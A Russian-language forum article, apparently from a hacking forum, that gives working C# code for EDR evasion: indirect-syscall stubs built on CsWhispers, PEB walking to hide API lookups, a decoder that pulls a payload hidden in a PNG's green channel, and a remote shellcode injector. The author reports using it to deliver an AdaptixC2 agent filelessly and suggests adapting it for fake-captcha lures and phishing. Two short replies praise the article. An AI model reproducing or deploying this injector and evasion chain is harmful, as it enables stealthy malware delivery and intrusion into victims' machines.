С механикой jmp, назовем его для простоты "джамп" - aka прыжок с английского, разберемся подробнее. Многие мои читатели наверняка уже потрясающе понимают, как работают прямые системные вызовы в одноименной технике: у нас есть инструкции для прямого вызова, они и дергают эти прямые вызовы. Но беда остается в том, что по месту выполнения системный вызов происходит в анонимной памяти шеллкода(MEM_PRIVATE). Что же позволяет, казалось бы, "косметический" jmp? Он позволяет выполнить инструкцию syscall(инше - системного вызова) непосредственно внутри ntdll, и структурно это будет выглядеть довольно легитимно. Да, подготовка регистров(наши инструкции с mov) все еще висят в анонимной памяти процесса, но это все равно остается куда более легитимно выглядящим вызовом системного вызова. Можете посмотреть на практике, используя старичка WinDbg, как и что тут творится вообще. Я же покажу скрины, которые есть на публике от одного хорошего исследователя:

1770391294501.png


Как мы видим, все не очень хорошо и очень даже "палевно":
- Текущий указатель инструкции находится черт знает где, но явно не в ntdll. Это и есть один из "показателей" применения Direct Syscall-методологии.
- Return Address - то, о чем мы говорили ранее и что в индиректах реализовано чуть иначе(адрес для возврата, который мы копировали в другой регистр) находится не у ntdll, а в самом "подозрительном процессе)
- Следовательно, и возвращение, тот самый return, здесь происходит не через ntdll после системного вызова(вспоминаем перезапись).

Вот так может выглядеть "нормальная" работа в таком аспекте:
1770391949664.png

Так работает по дефолту - через ntdll. Который держит инструкции возврата в себе и выполняет собственно сам системный вызов тоже в себе.
Я решил выбрать проект CsWhispers(самый "обновляемый" для таких целей), а не его "братьев". Однако, у него нашлось несколько весомых проблем, которые помогут нам разобраться в вопросе как раз еще глубже:
1) Во-первых, он не умеет в NtQueryInformationProcess - в дефолтном решении в проекте, закрученном через CsWhispers, этот вызов оставался бы через свой дефолтный путь, включая классический WinAPI.
2) Во-вторых, он крайне калично работает с NtCreateThreadEx(это мы тоже разберем позже).

Для начала, реализуем такую же indirect syscall-механику в отношении NtQueryInformationProcess. Статья затянулась, так что, код в студию:
C#:
using System;
using System.Runtime.InteropServices;
using CsWhispers; ### наш чувак
namespace InjTesting.SharpHalos; ### извините за путаницу с названиями, у меня тут проект на вторую статью в директории был, под dotnet

internal static unsafe class IndirectNtQueryInformationProcess

{
    private const int STUB_SIZE = 21;   ### Размер стаба, можете сами посчитать значения в темплейте, цифра сойдется ;)
    private const uint MEM_COMMIT = 0x1000;
    private const uint MEM_RESERVE = 0x2000;
    private const uint PAGE_READWRITE = 0x04;
    private const uint PAGE_EXECUTE_READ = 0x20;
    private static readonly byte[] StubTemplate =  #### Темплейт, инше говоря шаблон, понятное дело, что наши пустые значения, они же 0x00, в этом темплейте потом изменятся
    {
        0x4C, 0x8B, 0xD1,  ### пересчитываем: mov r10, rcx
        0xB8, 0x00, 0x00, 0x00, 0x00, ### пересчитываем: mov eax, <SSN> - запишем в темпл позже
        0x49, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ###пересчитываем: mov r11, <адрес вызова> - реализация нетипична, чтобы показать относительно полную подкапотную механику
        0x41, 0xFF, 0xE3 ### jmp r11, "прыжок" до настоящего системного вызова - уже в составе ntdll-структуры
    };
    private static readonly byte[] SyscallPattern = { 0x0F, 0x05, 0xC3 }; ### типичная структура системного вызова - обозначиваем syscall; ret
 
  [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    private delegate int NtQueryInformationProcessDelegate(
        IntPtr processHandle,
        int processInformationClass,
        void* processInformation,
        uint processInformationLength,
        uint* returnLength);
 
 [DllImport("kernel32", CharSet = CharSet.Ansi)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);
    private static readonly HANDLE NtCurrentProcess = new HANDLE((IntPtr)(-1)); ### "хэндл Шредингера" - и есть он, и нет его. Псевдохендлинг рекомендуется в том числе самими Microsoft для адекватной работы, а мы получаем полный доступ за счет фичи с PROCESS_ALL_ACESS, меньше шумим, не кидаем лишних системных вызовов с NtOpenProcess и живем себе спокойно
    public static int Call(
        IntPtr processHandle,
        int processInformationClass,
        void* processInformation,
        uint processInformationLength,
        uint* returnLength)
    {
        IntPtr ntdll = GetModuleHandle("ntdll.dll"); ### вызываем ntdll, будем ее читать
        if (ntdll == IntPtr.Zero)
            return -1;
        IntPtr ntQueryInfo = GetExportAddress(ntdll, "NtQueryInformationProcess"); ### вызываем функцию поиска, описанную ниже, ищем нужный адрес
        if (ntQueryInfo == IntPtr.Zero)
            return -1;
        int ssn = Marshal.ReadInt32(ntQueryInfo, 4); ### читаем SSN из ответа GetExportAddress
        IntPtr syscallAddr = FindSyscallAddress(ntQueryInfo); ### вызываем функцию FindSyscallAddress, описанную ниже, ищем в теле NtQueryInformationProcess инструкции рода syscall; ret
        if (syscallAddr == IntPtr.Zero)
            return -1;
        void* stub = null;
        uint regionSize = (uint)STUB_SIZE;
        NTSTATUS status = Syscalls.NtAllocateVirtualMemory( ### выделяем память под stub, юзая CsWhispers
            NtCurrentProcess,
            &stub,
            0,
            &regionSize,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE);
        if (status.SeverityCode != 0)
            return -1;
        void* protectBase = stub; ### работаем со стабом
        uint protectSize = (uint)STUB_SIZE;
        uint oldProtect = 0;
        try
        {
            Marshal.Copy(StubTemplate, 0, (IntPtr)stub, StubTemplate.Length); ### копируем шаблон стаба в память, что выделили выше
            Marshal.WriteInt32((IntPtr)stub, 4, ssn); ### вставляем туда полученный нами SSN
            Marshal.WriteInt64((IntPtr)stub, 10, syscallAddr.ToInt64()); ### вставляем настоящий адрес системного вызова по ntdll
            protectBase = stub;
            protectSize = (uint)STUB_SIZE;
            status = Syscalls.NtProtectVirtualMemory( ### по указанному в начале шаблону PAGE_EXECUTE_READ приходим к правам читать+исполнять
                NtCurrentProcess,
                &protectBase,
                &protectSize,
                PAGE_EXECUTE_READ,
                &oldProtect);
            if (status.SeverityCode != 0)
                return -1;
            var invoker = (NtQueryInformationProcessDelegate)Marshal.GetDelegateForFunctionPointer((IntPtr)stub, typeof(NtQueryInformationProcessDelegate)); ### рожаем делегат и вызываем его сюда
            return invoker(processHandle, processInformationClass, processInformation, processInformationLength, returnLength);
        }
        finally
        {
            protectBase = stub;
            protectSize = (uint)STUB_SIZE;
            Syscalls.NtProtectVirtualMemory(NtCurrentProcess, &protectBase, &protectSize, PAGE_READWRITE, &oldProtect); ### через сгененный с помощью CsWhispers метод возвращаемся в RW на всякий пожарный
        }
    }
    private static IntPtr GetExportAddress(IntPtr moduleBase, string exportName)
    {
        int e_lfanew = Marshal.ReadInt32(moduleBase, 0x3C);  ### смещаемся до PE-заголовков, читая e_lfanew
        IntPtr ntHeaders = (IntPtr)(moduleBase.ToInt64() + e_lfanew); ### получаем адрес заголовков NT
        int exportDirRva = Marshal.ReadInt32(ntHeaders, 0x88); ### поле DataDirectory[0].VirtualAddress
        if (exportDirRva == 0)
            return IntPtr.Zero; ### если ничего прочесть не смогли, экспортов нет - цельная логика работы с RVA, или "относительными адресами", RVA - относительные виртуальные адреса
        IntPtr exportDir = (IntPtr)(moduleBase.ToInt64() + exportDirRva); ### получаем абсолютный адрес экспортдиры
        int numberOfNames = Marshal.ReadInt32(exportDir, 0x18); ### считаем, сколько у нас есть имен
        int namesRva = Marshal.ReadInt32(exportDir, 0x20); ###  ===     |
        int ordinalsRva = Marshal.ReadInt32(exportDir, 0x24); ### ===   |  считаем все сведения RVA-массивов
        int functionsRva = Marshal.ReadInt32(exportDir, 0x1C); ### === |
        for (int i = 0; i < numberOfNames; i++) ### перебираем все экспортируемые имена
        {
            int nameRva = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + namesRva + i * 4), 0); ### читаем RVA-имена
            string name = Marshal.PtrToStringAnsi((IntPtr)(moduleBase.ToInt64() + nameRva)); ### переходим в формат ANSI
            if (name == exportName)
            {
                short ord = Marshal.ReadInt16((IntPtr)(moduleBase.ToInt64() + ordinalsRva + i * 2), 0);
                int funcRva = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + functionsRva + ord * 4), 0);
                return (IntPtr)(moduleBase.ToInt64() + funcRva); ### возвращаем абсолютный адрес функции
            }
        }
        return IntPtr.Zero;
    }
    private static IntPtr FindSyscallAddress(IntPtr ntApiAddress) ### сердце индиректа, ищем адреса для сисвызова
    {
        const int defaultOffset = 0x12; ### обычное для новых машинок смещение
        IntPtr atDefault = (IntPtr)(ntApiAddress.ToInt64() + defaultOffset); ### проверяем классические, стандартные места
        byte[] buf = new byte[3];
        Marshal.Copy(atDefault, buf, 0, 3);
        if (buf[0] == SyscallPattern[0] && buf[1] == SyscallPattern[1] && buf[2] == SyscallPattern[2]) ### сравниваем с паттерном syscal; ret - нужные нам инструкции
            return atDefault;
        long baseAddr = ntApiAddress.ToInt64(); ### не нашли - ходим и ищем дальше по описанной логике
        long searchLimit = Math.Min(512, 0x1000 - (baseAddr & 0xFFF) - 3);
        for (int offset = 1; offset < searchLimit; offset++)
        {
            IntPtr candidate = (IntPtr)(baseAddr + offset);
            Marshal.Copy(candidate, buf, 0, 3);
            if (buf[0] == SyscallPattern[0] && buf[1] == SyscallPattern[1] && buf[2] == SyscallPattern[2])
                return candidate;
        }
        return IntPtr.Zero;
    }
}



Что тут еще можно сказать. С такой реализацией проследить магию куда проще, не так ли? Пусть это и не совсем "полный формат" непрямых системных вызовов. Откуда мы взяли эти Syscall с маршала? Ответ не такой сложный. Помните, как с SysWhispers3? Написал в текстовик функции, которые нужно "заместить", запустил - тебе их сгенерировало имплантами. Тут так же, только все еще автоматичнее:
1770395519452.png

Потом проект запускается "как следует", и после dotnet add <наш CsWhispers> все работает как надо уже при первой сборке.
Почему работаем именно с RVA? Ответ прост. Так как RVA - относительные виртуальные адреса - по факту "смещение" от начала загруженного в мемори модуля, мы решаем сразу 2 конструктивные проблемы: не мучимся с "потеряшками", которые загружены не по своему предпочитаемому ImageBase, и всегда можем дотянуться по имейджбейзу и RVA.

По тому же принципу решим проблему с NtCreateThreadEx в CsWhispers, работающим нестабильно. Да и целиком юзинга WinAPI "в топорном формате" избежать сможем. Код в студию:
C#:
using System;
using System.Runtime.InteropServices;
using CsWhispers;
namespace InjTesting.SharpHalos;
internal static unsafe class IndirectNtCreateThreadEx
{
    private const int TrampolineSize = 21;
    private const uint MemCommit = 0x1000;
    private const uint MemReserve = 0x2000;
    private const uint PageReadWrite = 0x04;
    private const uint PageExecuteRead = 0x20;
    private static readonly byte[] TrampolineTemplate = ### схожий формат: имеем образец и с ним двигаемся дальше
    {
        0x4C, 0x8B, 0xD1,
        0xB8, 0x00, 0x00, 0x00, 0x00,
        0x49, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x41, 0xFF, 0xE3
    };
    private static readonly byte[] SyscallBytes = { 0x0F, 0x05, 0xC3 };
    [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    private delegate int NtCreateThreadExDelegate( ### делегат и его параметры
        out IntPtr threadHandle,
        uint desiredAccess,
        IntPtr objectAttributes,
        IntPtr processHandle,
        IntPtr startRoutine,
        IntPtr parameter,
        uint createFlags,
        UIntPtr zeroBits,
        UIntPtr stackSize,
        UIntPtr stackCommit,
        IntPtr attributeList);
    [StructLayout(LayoutKind.Sequential)]
    private struct ProcessBasicInfo ### структура для Process Basic Information из NtQueryInformationProcess, сделанного нами чуть ранее,
    {
        public IntPtr Reserved1;
        public IntPtr PebBaseAddress; ### PEB-адрес текущего процесса, нужен нам в дальнейшем
        public IntPtr Reserved2;
        public IntPtr UniqueProcessId;
        public IntPtr InheritedFromUniqueProcessId;
    }
    private const int ProcessBasicInformation = 0;
    private static readonly HANDLE CurrentProcess = new HANDLE((IntPtr)(-1));
    [DllImport("kernel32", CharSet = CharSet.Ansi)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);
    public static int Call( ### создаем трэд через непрямые системные вызовы, внимательный читатель заметит(ну или знающий) - это и есть параметры делегата нашей функции NtCreateThreadEx, а это - все для нее нужное
        out IntPtr threadHandle,
        uint desiredAccess,
        IntPtr objectAttributes,
        IntPtr processHandle,
        IntPtr startRoutine,
        IntPtr parameter,
        uint createFlags,
        UIntPtr zeroBits,
        UIntPtr stackSize,
        UIntPtr stackCommit,
        IntPtr attributeList)
    {
        threadHandle = IntPtr.Zero; ### дальше все схоже, RW ==> RX ==> RW трансформация, определяем адрес, ищем нужные инструкции для вызова, SSN
        if (!ResolveNtCreateThreadEx(out IntPtr apiAddress))
            return -1;
        int syscallNumber = Marshal.ReadInt32(apiAddress, 4);
        IntPtr syscallAddress = LocateSyscallInstruction(apiAddress);
        if (syscallAddress == IntPtr.Zero)
            return -1;
        void* trampoline = null;
        uint regionSize = (uint)TrampolineSize;
        NTSTATUS status = Syscalls.NtAllocateVirtualMemory(
            CurrentProcess,
            &trampoline,
            0,
            &regionSize,
            MemCommit | MemReserve,
            PageReadWrite);
        if (status.SeverityCode != 0)
            return -1;
        void* protectBase = trampoline;
        uint protectSize = (uint)TrampolineSize;
        uint previousProtection = 0;
        try
        {
            Marshal.Copy(TrampolineTemplate, 0, (IntPtr)trampoline, TrampolineTemplate.Length);
            Marshal.WriteInt32((IntPtr)trampoline, 4, syscallNumber);
            Marshal.WriteInt64((IntPtr)trampoline, 10, syscallAddress.ToInt64());
            protectBase = trampoline;
            protectSize = (uint)TrampolineSize;
            status = Syscalls.NtProtectVirtualMemory(
                CurrentProcess,
                &protectBase,
                &protectSize,
                PageExecuteRead,
                &previousProtection);
            if (status.SeverityCode != 0)
                return -1;
            var fn = (NtCreateThreadExDelegate)Marshal.GetDelegateForFunctionPointer((IntPtr)trampoline, typeof(NtCreateThreadExDelegate));
            return fn(out threadHandle, desiredAccess, objectAttributes, processHandle, startRoutine, parameter, createFlags, zeroBits, stackSize, stackCommit, attributeList);
        }
        finally
        {
            protectBase = trampoline;
            protectSize = (uint)TrampolineSize;
            Syscalls.NtProtectVirtualMemory(CurrentProcess, &protectBase, &protectSize, PageReadWrite, &previousProtection);
        }
    }
    private static IntPtr GetExportAddress(IntPtr moduleBase, string exportName) ### все схоже, день сурка
    {
        int eLfanew = Marshal.ReadInt32(moduleBase, 0x3C);
        IntPtr ntHeaders = (IntPtr)(moduleBase.ToInt64() + eLfanew);
        int exportDirRva = Marshal.ReadInt32(ntHeaders, 0x88);
        if (exportDirRva == 0)
            return IntPtr.Zero;
        IntPtr exportDir = (IntPtr)(moduleBase.ToInt64() + exportDirRva);
        int nameCount = Marshal.ReadInt32(exportDir, 0x18);
        int namesRva = Marshal.ReadInt32(exportDir, 0x20);
        int ordinalsRva = Marshal.ReadInt32(exportDir, 0x24);
        int functionsRva = Marshal.ReadInt32(exportDir, 0x1C);
        for (int i = 0; i < nameCount; i++)
        {
            int nameRva = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + namesRva + i * 4), 0);
            string? name = Marshal.PtrToStringAnsi((IntPtr)(moduleBase.ToInt64() + nameRva));
            if (name == exportName)
            {
                short ord = Marshal.ReadInt16((IntPtr)(moduleBase.ToInt64() + ordinalsRva + i * 2), 0);
                int funcRva = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + functionsRva + ord * 4), 0);
                return (IntPtr)(moduleBase.ToInt64() + funcRva);
            }
        }
        return IntPtr.Zero;
    }
    private static bool ResolveNtCreateThreadEx(out IntPtr address) ### поиск адреса - основная функция
    {
        address = IntPtr.Zero;
        if (ResolveViaPeb(out address)) ### трайнем зарезолвить адрес через PEB
            return true;
        IntPtr ntdllBase = GetModuleHandle("ntdll.dll"); ### если не вышло, идем запасным и обыденным вариантом, через ntdll - как в прошлом коде
        if (ntdllBase == IntPtr.Zero)
            return false;
        address = GetExportAddress(ntdllBase, "NtCreateThreadEx");
        return address != IntPtr.Zero;
    }
    private static bool ResolveViaPeb(out IntPtr address) ### резолв через PEB
    {
        address = IntPtr.Zero;
        ProcessBasicInfo info;
        uint returnLength;
        int status = IndirectNtQueryInformationProcess.Call( ### получаем PEB-адрес из той штуки, что мы тоже ранее прописали в индирект-формате
            (IntPtr)(-1),
            ProcessBasicInformation,
            &info,
            (uint)sizeof(ProcessBasicInfo),
            &returnLength);
        if (status != 0)
            return false;
        IntPtr peb = info.PebBaseAddress;
        if (peb == IntPtr.Zero)
            return false;
        IntPtr ldr = (IntPtr)Marshal.ReadInt64(peb, 0x18); ### PEB LDR, он же PEB_LDR_DATA
        if (ldr == IntPtr.Zero)
            return false;
        IntPtr listHead = (IntPtr)Marshal.ReadInt64(ldr, 0x10); ### PEB_LDR_DATA.InLoadOrderModuleList - ищем первый элемент
        IntPtr entry = (IntPtr)Marshal.ReadInt64(listHead, 0);
        while (entry != listHead)
        {
            IntPtr dllBase = (IntPtr)Marshal.ReadInt64(entry, 0x30); ### дальше логика проста: собираем всю информацию - dllBase, длина имени модуля, буфер имени, все нужные данные
            ushort nameLen = (ushort)Marshal.ReadInt16(entry, 0x58);
            IntPtr nameBuf = (IntPtr)Marshal.ReadInt64(entry, 0x60);
            if (nameBuf != IntPtr.Zero && nameLen >= 16)
            {
                string? name = Marshal.PtrToStringUni(nameBuf, nameLen / 2);
                if (string.Equals(name, "ntdll.dll", StringComparison.OrdinalIgnoreCase))
                {
                    address = GetExportAddress(dllBase, "NtCreateThreadEx");
                    return address != IntPtr.Zero;
                }
            }
            entry = (IntPtr)Marshal.ReadInt64(entry, 0);
        }
        return false;
    }
    private static IntPtr LocateSyscallInstruction(IntPtr apiAddress) ### опять день сурка, опять ищем нужный вызов в паттерне syscall; ret - от return
    {
        const int defaultOffset = 0x12;
        IntPtr candidate = (IntPtr)(apiAddress.ToInt64() + defaultOffset);
        byte[] buf = new byte[3];
        Marshal.Copy(candidate, buf, 0, 3);
        if (buf[0] == SyscallBytes[0] && buf[1] == SyscallBytes[1] && buf[2] == SyscallBytes[2])
            return candidate;
        long baseAddr = apiAddress.ToInt64();
        long limit = Math.Min(512, 0x1000 - (baseAddr & 0xFFF) - 3);
        for (int offset = 1; offset < limit; offset++)
        {
            candidate = (IntPtr)(baseAddr + offset);
            Marshal.Copy(candidate, buf, 0, 3);
            if (buf[0] == SyscallBytes[0] && buf[1] == SyscallBytes[1] && buf[2] == SyscallBytes[2])
                return candidate;
        }
        return IntPtr.Zero;
    }
}


Как-то вот так. PEB-пример здесь предоставлен для того, чтобы было наглядно видно, как можно усложнить жизнь местным SOCам: чтение PEB ==> Ldr - не вызов отдельной функции, и увидеть это не так уж и просто. А так, все в целом схоже в своей сути.

Ну и оставшиеся элементы - это сам по себе инжектор, чтение картинки(чтобы передать ее внутрь запущенного в памяти процесса из пауршелла) - и соединить все воедино.
Чтение картинки схоже с тем, что было в том JS, решил вывести его в рамках этого образца в сам .NET:
C#:
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Text;
namespace InjTesting.SharpHalos;
internal static class StegoDecoder
{
    private static readonly byte[] PngSignature = { 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A };
    private const int PayloadLengthSize = 4;
    private const int MaxPayloadSize = 10 * 1024 * 1024;
    public static byte[]? DecodeGreen(byte[] imageBuffer)
    {
        if (imageBuffer.Length < 8)
            return null;
        for (int i = 0; i < 8; i++)
            if (imageBuffer[i] != PngSignature[i])
                return null;
        int offset = 8;
        int width = 0, height = 0, bpp = 4;
        using (var idatStream = new MemoryStream())
        {
            while (offset + 12 <= imageBuffer.Length)
            {
                int chunkLength = (int)ReadU32Be(imageBuffer, offset);
                offset += 4;
                string chunkType = Encoding.ASCII.GetString(imageBuffer, offset, 4);
                offset += 4;
                if (offset + chunkLength + 4 > imageBuffer.Length)
                    return null;
                byte[] chunkData = new byte[chunkLength];
                Buffer.BlockCopy(imageBuffer, offset, chunkData, 0, chunkLength);
                offset += chunkLength + 4;
                if (chunkType == "IHDR")
                {
                    width = (int)ReadU32Be(chunkData, 0);
                    height = (int)ReadU32Be(chunkData, 4);
                    bpp = (chunkData.Length > 9 && chunkData[9] == 6) ? 4 : 3;
                }
                else if (chunkType == "IDAT")
                    idatStream.Write(chunkData, 0, chunkData.Length);
                else if (chunkType == "IEND")
                    break;
            }
            byte[] idat = idatStream.ToArray();
            if (idat.Length == 0) return null;
            byte[]? inflated = InflateZlib(idat);
            if (inflated == null || inflated.Length < PayloadLengthSize) return null;
            var greenBytes = new List<byte>();
            int pos = 0;
            for (int y = 0; y < height; y++)
            {
                pos++;
                int rowLen = width * bpp;
                if (pos + rowLen > inflated.Length) return null;
                for (int x = 0; x < width; x++)
                    greenBytes.Add(inflated[pos + x * bpp + 1]);
                pos += rowLen;
            }
            if (greenBytes.Count < PayloadLengthSize) return null;
            byte[] raw = greenBytes.ToArray();
            uint payloadLen = BitConverter.ToUInt32(raw, 0);
            if (payloadLen > raw.Length - PayloadLengthSize || payloadLen > MaxPayloadSize) return null;
            byte[] result = new byte[payloadLen];
            Buffer.BlockCopy(raw, PayloadLengthSize, result, 0, (int)payloadLen);
            return result;
        }
    }
    private static uint ReadU32Be(byte[] buffer, int index)
    {
        if (buffer == null || index + 4 > buffer.Length) return 0;
        return ((uint)buffer[index] << 24) | ((uint)buffer[index + 1] << 16) | ((uint)buffer[index + 2] << 8) | buffer[index + 3];
    }
    private static byte[]? InflateZlib(byte[] compressed)
    {
        try
        {
            if (compressed.Length < 2) return null;
            using (var ms = new MemoryStream(compressed))
            {
                ms.ReadByte();
                ms.ReadByte();
                using (var deflate = new DeflateStream(ms, CompressionMode.Decompress, true))
                using (var output = new MemoryStream())
                {
                    deflate.CopyTo(output);
                    return output.ToArray();
                }
            }
        }
        catch
        {
            return null;
        }
    }
}


Не так уж и сложно, правда? Покажу и возможный пример инжектора. Статейка затянулась как просто "для образца", так что, сделаем довольно таки типовую, классическую шеллкод-инъекцию(без всяких затягиваний вроде APC- и Process Hollowing-техник, статья уже правда очень длинной вышла), но пару улучшений таки внутрь внесем:
1) Все и так на индиректе через наши труды и труды CsWhispers
2) Не "машем кувалдой" и не устраиваем дыры в стенах: аккуратно аллоцируем RW, запишем внутрь шеллкод, сменим на исполняемый формат(RX). Да, все еще очень громкая техника, но всяко получше.
Минималистичное изображение, в формате "примера техники". Кстати говоря, с основными техниками, реализованными на C#, вы можете познакомиться на одном репозитории - приложу его в описание.
Код в студию:
C#:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using CsWhispers;

namespace InjTesting.SharpHalos;

internal static unsafe class Injector
{
    public static bool Inject(byte[] shellcode, int targetPid)
    {
        HANDLE processHandle;
        OBJECT_ATTRIBUTES oa = default;
        var cid = new CLIENT_ID { UniqueProcess = new HANDLE((IntPtr)targetPid) };

        NTSTATUS status = Syscalls.NtOpenProcess(&processHandle, PROCESS_ALL_ACCESS, &oa, &cid);
        if (status.SeverityCode != 0) return false;

        void* remoteBase = null;
        uint size = (uint)shellcode.Length;

        status = Syscalls.NtAllocateVirtualMemory(processHandle, &remoteBase, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (status.SeverityCode != 0) return false;

        fixed (byte* pShellcode = shellcode)
        {
            status = Syscalls.NtWriteVirtualMemory(processHandle, remoteBase, pShellcode, (uint)shellcode.Length, null);
        }
        if (status.SeverityCode != 0) return false;

        Array.Clear(shellcode, 0, shellcode.Length);

        const uint pageSize = 0x1000;
        uint protectSize = (uint)shellcode.Length;
        if (protectSize % pageSize != 0)
            protectSize = (protectSize + pageSize) & ~(pageSize - 1);

        void* protectBase = remoteBase;
        uint oldProtect;

        status = Syscalls.NtProtectVirtualMemory(processHandle, &protectBase, &protectSize, PAGE_EXECUTE_READ, &oldProtect);
        if (status.SeverityCode != 0) return false;

        int result = IndirectNtCreateThreadEx.Call(
            out IntPtr threadHandle,
            THREAD_ALL_ACCESS,
            IntPtr.Zero,
            (IntPtr)processHandle.Value,
            (IntPtr)remoteBase,
            IntPtr.Zero,
            0,
            UIntPtr.Zero,
            UIntPtr.Zero,
            UIntPtr.Zero,
            IntPtr.Zero);

        return result == 0;
    }
}
}
Последовательность вполне понятна: аллоцируем, записываем внутрь, закрываем под RX, пускаем в плавание. Техника примитивнейшая и тут она для теста, на "живом поле" я так делать крайне не рекомендую. Осталось только собрать все воедино в одну сингл-файл .NET сборку, которую потом пропустим через билдер, и которую будем писать сразу в память в комплекте с картиночкой пауршеллом.
1770399788454.png


Хостим с купленного под тест дедика любой простенький сервер, который такое сможет, и получаем:
1770399915156.png

Открытый через зверька(AdaptixC2) на машине калькулятор, и зверька, доставленного на машину через процесс инъекцию и бесфайловой малварью.

Для экспериментов на машине очень советую наблюдать за работой своих сборок через следующие 3 софтины: Everything(тыц), HTTP Debugger, WinDbg(смотреть, как работают ваши тактики). А полный и уже не под тестирование формат(с несколькими реализованными тактиками и реворками) я через некоторое время положу в открытый доступ на гитхаб, чтобы вы могли изучить сами или допилить под себя эту штуковину(может, под рассадку с кликфикса - она же фейк капча), или под работу с таргетированным фишингом(мало ли, вдруг хотите побаловаться с .lnk + mshta ;) ).
Надеюсь, что было интересно посмотреть за моим примером реализации). Всегда готов выслушать ваше мнение и ваши замечания в комментариях.

Интересные ресурсы для изучения
1) https://github.com/plackyhacker/Shellcode-Injection-Techniques - простые примеры техник инъекции, выполнены на C#
2) https://www.ired.team/offensive-security/defense-evasion/ - если кто не знал, сайт с интересными техниками касаемо как пентеста AD, так и Defense Evasion(обход защит уже "внутри")
3) https://github.com/tyranid/DotNetToJScript - еще один "Баянистый инструмент", ранее часто замечаемый за fileless-тактиками, если не знали, советую ознакомиться :)
4) https://github.com/am0nsec/SharpHellsGate/blob/master/SharpHellsGate/HellsGate.cs
5) https://github.com/GetRektBoy724/SharpHalos - 4 и 5 - прикольные реализации старых-добрых калиток на C#, первая - от официального автора "нормальной версии"
6) https://github.com/mgeeky/ShellcodeFluctuation/ - довольно старый, но все еще актуальный пример реализации Shellcode Fluctuation, полезно для еще большей скрытности
7) https://github.com/klezVirus/chameleon - еще одно довольно старое решение для "морфинга" PowerShell в условиях гаража(прим. автора - сейчас просто "заморфить" его не выйдет).
8) https://github.com/TheWover/donut - классика и в объяснении не нуждается. Очень хороший упаковщик.
9) https://github.com/SECFORCE/SharpWhispers - альтернативная(в некоторых моментах работы включительно) версия CsWhispers.
10) https://github.com/Maldev-Academy/GhostlyHollowingViaTamperedSyscalls2 - довольно свежая и очень интересная в своем принципе техника. Работает хорошо - уже успел затестить.
 
Последнее редактирование:
Статья - одна из лучших (и при этом редких) русскоязычных практических материалов по рассматриваемой теме.
Отличная работа!​
 
Статья - одна из лучших (и при этом редких) русскоязычных практических материалов по рассматриваемой теме.
Отличная работа!​
Спасибо за рецензию. Очень рад слышать такое от вас: мне нравятся ваши материалы, нравится ваша четкость, своего рода "кроткость" оформления ваших материалов.

Но к сожалению, хотел бы поредактировать еще, но и так писал - будучи в серьезном недосыпе - в полубреду, так что, если вы не против, я хотел бы потом с вами связаться - как в прошлый раз - с целью дальнейшего(финального) редактирования.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх